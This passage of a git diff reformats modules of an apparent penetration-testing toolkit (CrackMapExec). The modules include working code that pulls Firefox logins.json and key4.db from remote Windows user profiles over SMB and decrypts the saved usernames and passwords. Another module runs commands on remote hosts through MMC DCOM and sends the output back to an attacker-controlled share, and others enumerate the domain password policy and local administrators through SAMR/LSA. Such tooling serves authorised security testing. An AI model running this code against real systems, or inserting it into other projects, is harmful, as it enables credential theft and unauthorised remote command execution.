logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" + logins_path = ( + self.firefox_generic_path.format(user) + + "\\" + + d.get_longname() + + "\\logins.json" + ) logins_data = self.conn.readFile(self.share, logins_path) if logins_data is None: - continue # No logins.json file found + continue # No logins.json file found logins = self.get_login_data(logins_data=logins_data) if len(logins) == 0: - continue # No logins profile found - key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" - key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True) + continue # No logins profile found + key4_path = ( + self.firefox_generic_path.format(user) + + "\\" + + d.get_longname() + + "\\key4.db" + ) + key4_data = self.conn.readFile( + self.share, key4_path, bypass_shared_violation=True + ) if key4_data is None: continue key = self.get_key(key4_data=key4_data) - if key is None and self.target.password != '': - key = self.get_key(key4_data=key4_data, master_password=self.target.password.encode()) + if key is None and self.target.password != "": + key = self.get_key( + key4_data=key4_data, + master_password=self.target.password.encode(), + ) if key is None: continue for username, pwd, host in logins: - decoded_username = self.decrypt(key=key, iv=username[1],ciphertext=username[2]).decode('utf-8') - password = self.decrypt(key=key, iv=pwd[1],ciphertext=pwd[2]).decode('utf-8') + decoded_username = self.decrypt( + key=key, iv=username[1], ciphertext=username[2] + ).decode("utf-8") + password = self.decrypt( + key=key, iv=pwd[1], ciphertext=pwd[2] + ).decode("utf-8") if password is not None and decoded_username is not None: - firefox_data.append(FirefoxData( - winuser=user, - url=host, - username=decoded_username, - password=password, - )) + firefox_data.append( + FirefoxData( + winuser=user, + url=host, + username=decoded_username, + password=password, + ) + ) except Exception as e: - if 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e): + if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue print(e) self.logger.debug(e) return firefox_data - def get_login_data(self, logins_data): logins = [] json_logins = json.loads(logins_data) - if 'logins' not in json_logins: - return logins # No logins key in logins.json file - for row in json_logins['logins']: - logins.append(( - self.decode_login_data(row['encryptedUsername']), - self.decode_login_data(row['encryptedPassword']), - row['hostname']) + if "logins" not in json_logins: + return logins # No logins key in logins.json file + for row in json_logins["logins"]: + logins.append( + ( + self.decode_login_data(row["encryptedUsername"]), + self.decode_login_data(row["encryptedPassword"]), + row["hostname"], + ) ) return logins - def get_key(self, key4_data, master_password=b''): + def get_key(self, key4_data, master_password=b""): fh = tempfile.NamedTemporaryFile() fh.write(key4_data) fh.seek(0) @@ -116,9 +154,11 @@ class FirefoxTriage: cursor = db.cursor() cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") row = next(cursor) - + if row: - global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password) + global_salt, master_password, _ = self.is_master_password_correct( + key_data=row, master_password=master_password + ) if global_salt: try: cursor.execute("SELECT a11,a102 FROM nssPrivate;") @@ -129,45 +169,55 @@ class FirefoxTriage: a102 = row[1] if a102 == CKA_ID: decoded_a11 = decoder.decode(a11) - key = self.decrypt_3des(decoded_a11, master_password, global_salt) + key = self.decrypt_3des( + decoded_a11, master_password, global_salt + ) if key is not None: fh.close() return key[:24] except Exception as e: self.logger.debug(e) fh.close() - return b'' + return b"" fh.close() - def is_master_password_correct(self, key_data, master_password=b''): + def is_master_password_correct(self, key_data, master_password=b""): try: entry_salt = b"" global_salt = key_data[0] # Item1 item2 = key_data[1] decoded_item2 = decoder.decode(item2) - cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) - if cleartext_data != 'password-check\x02\x02'.encode(): - return '', '', '' + cleartext_data = self.decrypt_3des( + decoded_item2, master_password, global_salt + ) + if cleartext_data != "password-check\x02\x02".encode(): + return "", "", "" return global_salt, master_password, entry_salt except Exception as e: self.logger.debug(e) - return '', '', '' + return "", "", "" def get_users(self): users = list() - users_dir_path = 'Users\\*' - directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) + users_dir_path = "Users\\*" + directories = self.conn.listPath( + shareName=self.share, path=ntpath.normpath(users_dir_path) + ) for d in directories: if d.get_longname() not in self.false_positive and d.is_directory() > 0: users.append(d.get_longname()) - + return users @staticmethod def decode_login_data(data): asn1data = decoder.decode(b64decode(data)) - return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets() + return ( + asn1data[0][0].asOctets(), + asn1data[0][1][1].asOctets(), + asn1data[0][2].asOctets(), + ) @staticmethod def decrypt(key, iv, ciphertext): @@ -189,13 +239,13 @@ class FirefoxTriage: """ # See http://www.drh-consultancy.demon.co.uk/key3.html pbeAlgo = str(decoded_item[0][0][0]) - if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC + if pbeAlgo == "1.2.840.113549.1.12.5.1.3": # pbeWithSha1AndTripleDES-CBC entry_salt = decoded_item[0][0][1][0].asOctets() cipher_t = decoded_item[0][1].asOctets() # See http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(global_salt + master_password).digest() - pes = entry_salt + '\x00'.encode() * (20 - len(entry_salt)) + pes = entry_salt + "\x00".encode() * (20 - len(entry_salt)) chp = sha1(hp + entry_salt).digest() k1 = hmac.new(chp, pes + entry_salt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() @@ -205,22 +255,23 @@ class FirefoxTriage: key = k[:24] cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv) return cipher.decrypt(cipher_t) - elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2 - - assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12' - assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9' - assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42' + elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2 + assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12" + assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9" + assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42" # https://tools.ietf.org/html/rfc8018#page-23 entry_salt = decoded_item[0][0][1][0][1][0].asOctets() iteration_count = int(decoded_item[0][0][1][0][1][1]) key_length = int(decoded_item[0][0][1][0][1][2]) - assert key_length == 32 + assert key_length == 32 k = sha1(global_salt + master_password).digest() - key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length) + key = pbkdf2_hmac( + "sha256", k, entry_salt, iteration_count, dklen=key_length + ) # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 - iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets() + iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets() # 04 is OCTETSTRING, 0x0e is length == 14 encrypted_value = decoded_item[0][1].asOctets() cipher = AES.new(key, AES.MODE_CBC, iv) @@ -228,4 +279,4 @@ class FirefoxTriage: if decrypted is not None: return decrypted else: - return None \ No newline at end of file + return None diff --git a/cme/protocols/smb/mmcexec.py b/cme/protocols/smb/mmcexec.py index 1ad4d65d..8bf89cda 100644 --- a/cme/protocols/smb/mmcexec.py +++ b/cme/protocols/smb/mmcexec.py @@ -7,10 +7,10 @@ # for more information. # # A similar approach to wmiexec but executing commands through MMC. -# Main advantage here is it runs under the user (has to be Admin) +# Main advantage here is it runs under the user (has to be Admin) # account, not SYSTEM, plus, it doesn't generate noisy messages # in the event log that smbexec.py does when creating a service. -# Drawback is it needs DCOM, hence, I have to be able to access +# Drawback is it needs DCOM, hence, I have to be able to access # DCOM ports at the target machine. # # Original discovery by Matt Nelson (@enigma0x3): @@ -32,57 +32,102 @@ import os from time import sleep from cme.helpers.misc import gen_random_string -from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ - VARIANT, VARENUM, DISPATCH_METHOD +from impacket.dcerpc.v5.dcom.oaut import ( + IID_IDispatch, + string_to_bin, + IDispatch, + DISPPARAMS, + DISPATCH_PROPERTYGET, + VARIANT, + VARENUM, + DISPATCH_METHOD, +) from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ - OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ - IRemUnknown2, INTERFACE +from impacket.dcerpc.v5.dcomrt import ( + OBJREF, + FLAGS_OBJREF_CUSTOM, + OBJREF_CUSTOM, + OBJREF_HANDLER, + OBJREF_EXTENDED, + OBJREF_STANDARD, + FLAGS_OBJREF_HANDLER, + FLAGS_OBJREF_STANDARD, + FLAGS_OBJREF_EXTENDED, + IRemUnknown2, + INTERFACE, +) from impacket.dcerpc.v5.dtypes import NULL class MMCEXEC: - def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None): + def __init__( + self, host, share_name, username, password, domain, smbconnection, hashes=None + ): self.__host = host self.__username = username self.__password = password self.__smbconnection = smbconnection self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__share_name = share_name self.__output = None - self.__outputBuffer = b'' - self.__shell = 'c:\\windows\\system32\\cmd.exe' - self.__pwd = 'C:\\' + self.__outputBuffer = b"" + self.__shell = "c:\\windows\\system32\\cmd.exe" + self.__pwd = "C:\\" self.__quit = None self.__executeShellCommand = None self.__retOutput = True if hashes is not None: - self.__lmhash, self.__nthash = hashes.split(':') + self.__lmhash, self.__nthash = hashes.split(":") - dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, None, oxidResolver=True) + dcom = DCOMConnection( + self.__host, + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + None, + oxidResolver=True, + ) try: - iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) + iInterface = dcom.CoCreateInstanceEx( + string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch + ) iMMC = IDispatch(iInterface) - resp = iMMC.GetIDsOfNames(('Document',)) + resp = iMMC.GetIDsOfNames(("Document",)) dispParams = DISPPARAMS(None, False) - dispParams['rgvarg'] = NULL - dispParams['rgdispidNamedArgs'] = NULL - dispParams['cArgs'] = 0 - dispParams['cNamedArgs'] = 0 - resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + dispParams["rgvarg"] = NULL + dispParams["rgdispidNamedArgs"] = NULL + dispParams["cArgs"] = 0 + dispParams["cNamedArgs"] = 0 + resp = iMMC.Invoke( + resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [] + ) - iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) - resp = iDocument.GetIDsOfNames(('ActiveView',)) - resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + iDocument = IDispatch( + self.getInterface( + iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"] + ) + ) + resp = iDocument.GetIDsOfNames(("ActiveView",)) + resp = iDocument.Invoke( + resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [] + ) - iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) - pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] + iActiveView = IDispatch( + self.getInterface( + iMMC, resp["pVarResult"]["_varUnion"]["pdispVal"]["abData"] + ) + ) + pExecuteShellCommand = iActiveView.GetIDsOfNames(("ExecuteShellCommand",))[ + 0 + ] - pQuit = iMMC.GetIDsOfNames(('Quit',))[0] + pQuit = iMMC.GetIDsOfNames(("Quit",))[0] self.__quit = (iMMC, pQuit) self.__executeShellCommand = (iActiveView, pExecuteShellCommand) @@ -94,23 +139,30 @@ class MMCEXEC: def getInterface(self, interface, resp): # Now let's parse the answer and build an Interface instance - objRefType = OBJREF(''.join(resp))['flags'] + objRefType = OBJREF("".join(resp))["flags"] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: - objRef = OBJREF_CUSTOM(''.join(resp)) + objRef = OBJREF_CUSTOM("".join(resp)) elif objRefType == FLAGS_OBJREF_HANDLER: - objRef = OBJREF_HANDLER(''.join(resp)) + objRef = OBJREF_HANDLER("".join(resp)) elif objRefType == FLAGS_OBJREF_STANDARD: - objRef = OBJREF_STANDARD(''.join(resp)) + objRef = OBJREF_STANDARD("".join(resp)) elif objRefType == FLAGS_OBJREF_EXTENDED: - objRef = OBJREF_EXTENDED(''.join(resp)) + objRef = OBJREF_EXTENDED("".join(resp)) else: logging.error("Unknown OBJREF Type! 0x%x" % objRefType) return IRemUnknown2( - INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], - oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], - target=interface.get_target())) + INTERFACE( + interface.get_cinstance(), + None, + interface.get_ipidRemUnknown(), + objRef["std"]["ipid"], + oxid=objRef["std"]["oxid"], + oid=objRef["std"]["oxid"], + target=interface.get_target(), + ) + ) def execute(self, command, output=False): self.__retOutput = output @@ -125,8 +177,9 @@ class MMCEXEC: dispParams["cArgs"] = 0 dispParams["cNamedArgs"] = 0 - self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, - 0, [], []) + self.__quit[0].Invoke( + self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [] + ) return True def execute_remote(self, data): @@ -135,7 +188,11 @@ class MMCEXEC: command = "/Q /c " + data if self.__retOutput is True: - command += " 1> " + f"\\\\{local_ip}\\{self.__share_name}\\{self.__output}" + " 2>&1" + command += ( + " 1> " + + f"\\\\{local_ip}\\{self.__share_name}\\{self.__output}" + + " 2>&1" + ) dispParams = DISPPARAMS(None, False) dispParams["rgdispidNamedArgs"] = NULL @@ -169,19 +226,23 @@ class MMCEXEC: dispParams["rgvarg"].append(arg1) dispParams["rgvarg"].append(arg0) - self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, - 0, [], []) + self.__executeShellCommand[0].Invoke( + self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [] + ) self.get_output_fileless() def output_callback(self, data): self.__outputBuffer += data def get_output_fileless(self): - if not self.__retOutput: return + if not self.__retOutput: + return while True: try: - with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output: + with open( + os.path.join("/tmp", "cme_hosted", self.__output), "r" + ) as output: self.output_callback(output.read()) break except IOError: diff --git a/cme/protocols/smb/passpol.py b/cme/protocols/smb/passpol.py index e7d991bd..ea8bf592 100644 --- a/cme/protocols/smb/passpol.py +++ b/cme/protocols/smb/passpol.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -#Stolen from https://github.com/Wh1t3Fox/polenum +# Stolen from https://github.com/Wh1t3Fox/polenum from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.dcerpc.v5 import transport, samr @@ -18,7 +18,7 @@ def d2b(a): if len(t2bin) != 8: for x in range(6 - len(t2bin)): t2bin.insert(0, 0) - return ''.join([str(g) for g in t2bin]) + return "".join([str(g) for g in t2bin]) def convert(low, high, lockout=False): @@ -31,21 +31,21 @@ def convert(low, high, lockout=False): return "None" if not lockout: - if (low != 0): - high = abs(high+1) + if low != 0: + high = abs(high + 1) else: high = abs(high) low = abs(low) - tmp = low + (high)*16**8 # convert to 64bit int - tmp *= (1e-7) # convert to seconds + tmp = low + (high) * 16**8 # convert to 64bit int + tmp *= 1e-7 # convert to seconds else: tmp = abs(high) * (1e-7) try: minutes = int(strftime("%M", gmtime(tmp))) hours = int(strftime("%H", gmtime(tmp))) - days = int(strftime("%j", gmtime(tmp)))-1 + days = int(strftime("%j", gmtime(tmp))) - 1 except ValueError as e: return "[-] Invalid TIME" @@ -72,27 +72,31 @@ class PassPolDump: def __init__(self, connection): self.logger = cme_logger - self.addr = connection.host if not connection.kerberos else connection.hostname + '.' + connection.domain + self.addr = ( + connection.host + if not connection.kerberos + else connection.hostname + "." + connection.domain + ) self.protocol = connection.args.port self.username = connection.username self.password = connection.password self.domain = connection.domain self.hash = connection.hash - self.lmhash = '' - self.nthash = '' + self.lmhash = "" + self.nthash = "" self.aesKey = None self.doKerberos = connection.kerberos self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys() self.pass_pol = {} if self.hash is not None: - if self.hash.find(':') != -1: - self.lmhash, self.nthash = self.hash.split(':') + if self.hash.find(":") != -1: + self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash - + if self.password is None: - self.password = '' + self.password = "" def dump(self): # Try all requested protocols until one works. @@ -113,7 +117,7 @@ class PassPolDump: self.lmhash, self.nthash, self.aesKey, - doKerberos=self.doKerberos + doKerberos=self.doKerberos, ) try: self.fetchList(rpctransport) @@ -136,20 +140,29 @@ class PassPolDump: if resp["ErrorCode"] != 0: raise Exception("Connect error") - resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp["ServerHandle"], - enumerationContext=0, - preferedMaximumLength=500) + resp2 = samr.hSamrEnumerateDomainsInSamServer( + dce, + serverHandle=resp["ServerHandle"], + enumerationContext=0, + preferedMaximumLength=500, + ) if resp2["ErrorCode"] != 0: raise Exception("Connect error") - resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp["ServerHandle"], - name=resp2["Buffer"]["Buffer"][0]["Name"]) + resp3 = samr.hSamrLookupDomainInSamServer( + dce, + serverHandle=resp["ServerHandle"], + name=resp2["Buffer"]["Buffer"][0]["Name"], + ) if resp3["ErrorCode"] != 0: raise Exception("Connect error") - resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp["ServerHandle"], - desiredAccess=samr.MAXIMUM_ALLOWED, - domainId=resp3["DomainId"]) + resp4 = samr.hSamrOpenDomain( + dce, + serverHandle=resp["ServerHandle"], + desiredAccess=samr.MAXIMUM_ALLOWED, + domainId=resp3["DomainId"], + ) if resp4["ErrorCode"] != 0: raise Exception("Connect error") @@ -157,23 +170,47 @@ class PassPolDump: domainHandle = resp4["DomainHandle"] # End Setup - re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle, - domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) + re = samr.hSamrQueryInformationDomain2( + dce, + domainHandle=domainHandle, + domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, + ) self.__min_pass_len = re["Buffer"]["Password"]["MinPasswordLength"] or "None" - self.__pass_hist_len = re["Buffer"]["Password"]["PasswordHistoryLength"] or "None" - self.__max_pass_age = convert(int(re["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]), int(re['Buffer']['Password']['MaxPasswordAge']['HighPart'])) - self.__min_pass_age = convert(int(re["Buffer"]["Password"]["MinPasswordAge"]["LowPart"]), int(re['Buffer']['Password']['MinPasswordAge']['HighPart'])) + self.__pass_hist_len = ( + re["Buffer"]["Password"]["PasswordHistoryLength"] or "None" + ) + self.__max_pass_age = convert( + int(re["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]), + int(re["Buffer"]["Password"]["MaxPasswordAge"]["HighPart"]), + ) + self.__min_pass_age = convert( + int(re["Buffer"]["Password"]["MinPasswordAge"]["LowPart"]), + int(re["Buffer"]["Password"]["MinPasswordAge"]["HighPart"]), + ) self.__pass_prop = d2b(re["Buffer"]["Password"]["PasswordProperties"]) - re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle, - domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation) - self.__rst_accnt_lock_counter = convert(0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True) - self.__lock_accnt_dur = convert(0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True) + re = samr.hSamrQueryInformationDomain2( + dce, + domainHandle=domainHandle, + domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation, + ) + self.__rst_accnt_lock_counter = convert( + 0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True + ) + self.__lock_accnt_dur = convert( + 0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True + ) self.__accnt_lock_thres = re["Buffer"]["Lockout"]["LockoutThreshold"] or "None" - re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle, - domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation) - self.__force_logoff_time = convert(re["Buffer"]["Logoff"]["ForceLogoff"]["LowPart"], re['Buffer']['Logoff']['ForceLogoff']['HighPart']) + re = samr.hSamrQueryInformationDomain2( + dce, + domainHandle=domainHandle, + domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation, + ) + self.__force_logoff_time = convert( + re["Buffer"]["Logoff"]["ForceLogoff"]["LowPart"], + re["Buffer"]["Logoff"]["ForceLogoff"]["HighPart"], + ) self.pass_pol = { "min_pass_len": self.__min_pass_len, @@ -184,40 +221,45 @@ class PassPolDump: "rst_accnt_lock_counter": self.__rst_accnt_lock_counter, "lock_accnt_dur": self.__lock_accnt_dur, "accnt_lock_thres": self.__accnt_lock_thres, - "force_logoff_time": self.__force_logoff_time + "force_logoff_time": self.__force_logoff_time, } dce.disconnect() def pretty_print(self): - PASSCOMPLEX = { 5: "Domain Password Complex:", 4: "Domain Password No Anon Change:", 3: "Domain Password No Clear Change:", 2: "Domain Password Lockout Admins:", 1: "Domain Password Store Cleartext:", - 0: "Domain Refuse Password Change:" + 0: "Domain Refuse Password Change:", } cme_logger.debug("Found domain(s):") for domain in self.__domains: cme_logger.debug(f"{domain['Name']}") - self.logger.success(f"Dumping password info for domain: {self.__domains[0]['Name']}") + self.logger.success( + f"Dumping password info for domain: {self.__domains[0]['Name']}" + ) self.logger.highlight(f"Minimum password length: {self.__min_pass_len}") self.logger.highlight(f"Password history length: {self.__pass_hist_len}") self.logger.highlight(f"Maximum password age: {self.__max_pass_age}") self.logger.highlight("") - self.logger.highlight(f"Password Complexity Flags: {self.__pass_prop or 'None'}") + self.logger.highlight( + f"Password Complexity Flags: {self.__pass_prop or 'None'}" + ) for i, a in enumerate(self.__pass_prop): self.logger.highlight(f"\t{PASSCOMPLEX[i]} {str(a)}") self.logger.highlight("") self.logger.highlight(f"Minimum password age: {self.__min_pass_age}") - self.logger.highlight(f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}") + self.logger.highlight( + f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}" + ) self.logger.highlight(f"Locked Account Duration: {self.__lock_accnt_dur}") self.logger.highlight(f"Account Lockout Threshold: {self.__accnt_lock_thres}") - self.logger.highlight(f"Forced Log off Time: {self.__force_logoff_time}") \ No newline at end of file + self.logger.highlight(f"Forced Log off Time: {self.__force_logoff_time}") diff --git a/cme/protocols/smb/remotefile.py b/cme/protocols/smb/remotefile.py index a33212ba..8d85d54a 100644 --- a/cme/protocols/smb/remotefile.py +++ b/cme/protocols/smb/remotefile.py @@ -2,8 +2,15 @@ # -*- coding: utf-8 -*- from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA + class RemoteFile: - def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ): + def __init__( + self, + smbConnection, + fileName, + share="ADMIN$", + access=FILE_READ_DATA | FILE_WRITE_DATA, + ): self.__smbConnection = smbConnection self.__share = share self.__access = access @@ -13,7 +20,9 @@ class RemoteFile: self.__currentOffset = 0 def open(self): - self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access) + self.__fid = self.__smbConnection.openFile( + self.__tid, self.__fileName, desiredAccess=self.__access + ) def seek(self, offset, whence): # Implement whence, for now it's always from the beginning of the file @@ -22,10 +31,12 @@ class RemoteFile: def read(self, bytesToRead): if bytesToRead > 0: - data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) + data = self.__smbConnection.readFile( + self.__tid, self.__fid, self.__currentOffset, bytesToRead + ) self.__currentOffset += len(data) return data - return '' + return "" def close(self): if self.__fid is not None: @@ -39,4 +50,4 @@ class RemoteFile: return self.__currentOffset def __str__(self): - return f"\\\\{self.__smbConnection.getRemoteHost()}\\{self.__share}\\{self.__fileName}" \ No newline at end of file + return f"\\\\{self.__smbConnection.getRemoteHost()}\\{self.__share}\\{self.__fileName}" diff --git a/cme/protocols/smb/samrfunc.py b/cme/protocols/smb/samrfunc.py index c2c74b80..b73c9da0 100644 --- a/cme/protocols/smb/samrfunc.py +++ b/cme/protocols/smb/samrfunc.py @@ -15,39 +15,43 @@ from cme.logger import cme_logger class SamrFunc: def __init__(self, connection): self.logger = cme_logger - self.addr = connection.host if not connection.kerberos else connection.hostname + '.' + connection.domain + self.addr = ( + connection.host + if not connection.kerberos + else connection.hostname + "." + connection.domain + ) self.protocol = connection.args.port self.username = connection.username self.password = connection.password self.domain = connection.domain self.hash = connection.hash - self.lmhash = '' - self.nthash = '' - self.aesKey = None, + self.lmhash = "" + self.nthash = "" + self.aesKey = (None,) self.doKerberos = connection.kerberos if self.hash is not None: - if self.hash.find(':') != -1: - self.lmhash, self.nthash = self.hash.split(':') + if self.hash.find(":") != -1: + self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash if self.password is None: - self.password = '' + self.password = "" self.samr_query = SAMRQuery( username=self.username, password=self.password, remote_name=self.addr, remote_host=self.addr, - kerberos=self.doKerberos + kerberos=self.doKerberos, ) self.lsa_query = LSAQuery( username=self.username, password=self.password, remote_name=self.addr, remote_host=self.addr, - kerberos=self.doKerberos + kerberos=self.doKerberos, ) def get_builtin_groups(self): @@ -57,7 +61,7 @@ class SamrFunc: logging.error(f"No Builtin group to query locally on") return - domain_handle = self.samr_query.get_domain_handle('Builtin') + domain_handle = self.samr_query.get_domain_handle("Builtin") groups = self.samr_query.get_domain_aliases(domain_handle) return groups @@ -84,10 +88,14 @@ class SamrFunc: def get_local_administrators(self): self.get_builtin_groups() if "Administrators" in self.groups: - self.logger.success(f"Found Local Administrators group: RID {self.groups['Administrators']}") - domain_handle = self.samr_query.get_domain_handle('Builtin') + self.logger.success( + f"Found Local Administrators group: RID {self.groups['Administrators']}" + ) + domain_handle = self.samr_query.get_domain_handle("Builtin") self.logger.debug(f"Querying group members") - member_sids = self.samr_query.get_alias_members(domain_handle, self.groups['Administrators']) + member_sids = self.samr_query.get_alias_members( + domain_handle, self.groups["Administrators"] + ) member_names = self.lsa_query.lookup_sids(member_sids) for sid, name in zip(member_sids, member_names): @@ -95,12 +103,21 @@ class SamrFunc: class SAMRQuery: - def __init__(self, username='', password='', domain='', port=445, remote_name='', remote_host='', kerberos=None): + def __init__( + self, + username="", + password="", + domain="", + port=445, + remote_name="", + remote_host="", + kerberos=None, + ): self.__username = username self.__password = password self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__aesKey = None self.__port = port self.__remote_name = remote_name @@ -116,14 +133,14 @@ class SAMRQuery: rpc_transport = transport.SMBTransport( self.__remote_host, self.__port, - r'\samr', + r"\samr", self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, - doKerberos=self.__kerberos + doKerberos=self.__kerberos, ) return rpc_transport @@ -148,51 +165,66 @@ class SAMRQuery: except samr.DCERPCException as e: cme_logger.debug(f"Error while connecting with Samr: {e}") return None - return resp['ServerHandle'] + return resp["ServerHandle"] else: cme_logger.debug(f"Error creating Samr handle") return def get_domains(self): resp = samr.hSamrEnumerateDomainsInSamServer(self.dce, self.server_handle) - domains = resp['Buffer']['Buffer'] + domains = resp["Buffer"]["Buffer"] domain_names = [] for domain in domains: - domain_names.append(domain['Name']) + domain_names.append(domain["Name"]) return domain_names def get_domain_handle(self, domain_name): - resp = samr.hSamrLookupDomainInSamServer(self.dce, self.server_handle, domain_name) - resp = samr.hSamrOpenDomain(self.dce, serverHandle=self.server_handle, domainId=resp['DomainId']) - return resp['DomainHandle'] + resp = samr.hSamrLookupDomainInSamServer( + self.dce, self.server_handle, domain_name + ) + resp = samr.hSamrOpenDomain( + self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"] + ) + return resp["DomainHandle"] def get_domain_aliases(self, domain_handle): resp = samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle) aliases = {} - for alias in resp['Buffer']['Buffer']: - aliases[alias['Name']] = alias['RelativeId'] + for alias in resp["Buffer"]["Buffer"]: + aliases[alias["Name"]] = alias["RelativeId"] return aliases def get_alias_handle(self, domain_handle, alias_id): - resp = samr.hSamrOpenAlias(self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id) - return resp['AliasHandle'] + resp = samr.hSamrOpenAlias( + self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id + ) + return resp["AliasHandle"] def get_alias_members(self, domain_handle, alias_id): alias_handle = self.get_alias_handle(domain_handle, alias_id) resp = samr.hSamrGetMembersInAlias(self.dce, alias_handle) member_sids = [] - for member in resp['Members']['Sids']: - member_sids.append(member['SidPointer'].formatCanonical()) + for member in resp["Members"]["Sids"]: + member_sids.append(member["SidPointer"].formatCanonical()) return member_sids class LSAQuery: - def __init__(self, username='', password='', domain='', port=445, remote_name='', remote_host='', kerberos=None): + def __init__( + self, + username="", + password="", + domain="", + port=445, + remote_name="", + remote_host="", + kerberos=None, + ): self.__username = username self.__password = password self.__domain = domain - self.__lmhash = '' - 